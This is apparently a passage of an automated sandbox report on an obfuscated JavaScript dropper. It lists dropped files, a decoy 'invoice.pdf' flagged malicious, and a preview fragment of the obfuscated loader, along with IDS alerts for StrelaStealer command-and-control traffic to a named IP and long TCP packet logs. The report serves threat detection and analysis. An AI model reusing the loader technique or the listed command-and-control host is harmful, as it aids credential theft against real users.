DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3d364320-cf48-415b-9660-844e1ac076f6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\69761f4a-18db-4afa-b831-81ef84c58cf7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\86bdc414-af27-4065-9821-8d7571a202e7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\fc9bdc6e-d4cb-4ff8-b3fa-2a2aea607c77.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10635), with no line terminators
Entropy (8bit):	4.993963358150032
TrID:
File name:	1972921391166218927.js
File size:	10'635 bytes
MD5:	dee92408705455e1e9f9c9af72aaf95d
SHA1:	196209ef379ebba351faeb87c29d00de09703694
SHA256:	3803f0376ec9ec9f994900f80d15bf069eb9bf7d6281bfe178e28a025a044c81
SHA512:	4900fa34ef04f3443843e0a3d15866d220c253c3893bba8e9a01d293b271272397a4d29cacc247c382c2495b2f8689dee0fd40786b958e1893a64712e87c5b4e
SSDEEP:	192:b/aD8D3hDqDejy1DMDCDd4D32D3fD33DsDcDsDEDqVd17GlU2DODZD/DeDzDtDiK:l8PuVrGKW3T
TLSH:	7C22764AF5CE74B2C7D65FBEE71BD0A48ACC8156B39C882578AE0C40A6D5897C4F3871
File Content Preview:	function tfzxgqavh(){this[jcpypm+bdnfno+whujxre+rlxxqppsa]("vrhmhzuil=[1031,3079,5127,4103,2055,3072];var arwsdebl=this[tukfp+whujxre+imxbhvy+bdmnaureq+jcpypm+nygfam+svplpal+orfdrgh](this[splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh][dlptpcjj+imxbh

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T10:14:12.131434+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-13T10:14:12.131434+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-13T10:14:14.387513+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 10:14:11.040661097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:11.045666933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:11.045746088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:11.048439980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:11.053241014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131237030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131277084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131289005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131303072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131309032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131323099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131335974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131342888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131349087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131362915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131376028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.131433964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.131433964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.132042885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.132133007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.136245966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136253119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136265993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136287928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136293888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136307001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.136426926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.136749983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136756897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136764050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136770010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136775970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.136809111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.136825085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.137629032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.137634993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.137646914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.137653112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.137660027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.137676954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.137758017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.138415098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.138494015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.138501883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.138509035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.138515949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.138531923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.138556957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.142868996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.142874956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.142880917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.142915964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.142921925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.142957926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.142957926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.143060923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.143239021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.143488884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.143496037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.143502951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.143510103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.143563986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.143563986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.144207954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.144215107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.144228935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.144264936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.144296885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.144668102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.144675970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.144721031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.145025015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.145031929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.145051003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.145056963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.145064116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.145087004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.145129919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.145895958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.145925999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.145931005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.145955086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.145960093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.145977020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.147806883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.147814035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.147825956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.147836924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.147844076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.147856951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.147864103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.147911072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.148134947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148143053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148231983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.148375034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148399115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148410082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148417950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148520947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.148789883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148797989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148809910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148840904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148847103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148859024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.148895025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.148895025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.149395943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.149403095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.149458885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.153417110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.163033009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.163042068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.163053036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.163089991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.163094997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.163101912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.163150072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.197868109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.208774090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.208780050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.208822012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.209650993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.240406036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.240421057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.240433931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.240439892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.240447044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.240452051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.240519047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.240577936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.252806902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.252851009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.252861977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.252914906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253010035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253015995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253031969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253062010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253067970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253068924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253077030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253093958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253139019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253256083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253261089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253266096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253271103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253314018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253319979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253325939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253422022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253501892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253508091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253520012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253571987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253577948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253591061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253597021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253603935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253609896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253648996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253648996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253797054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253802061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253824949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253858089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253858089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253890991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253897905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.253938913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.253988028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254020929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254031897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254062891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254070044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.254091024 CET	49705	80	192.168.2.8	193.143.1.205
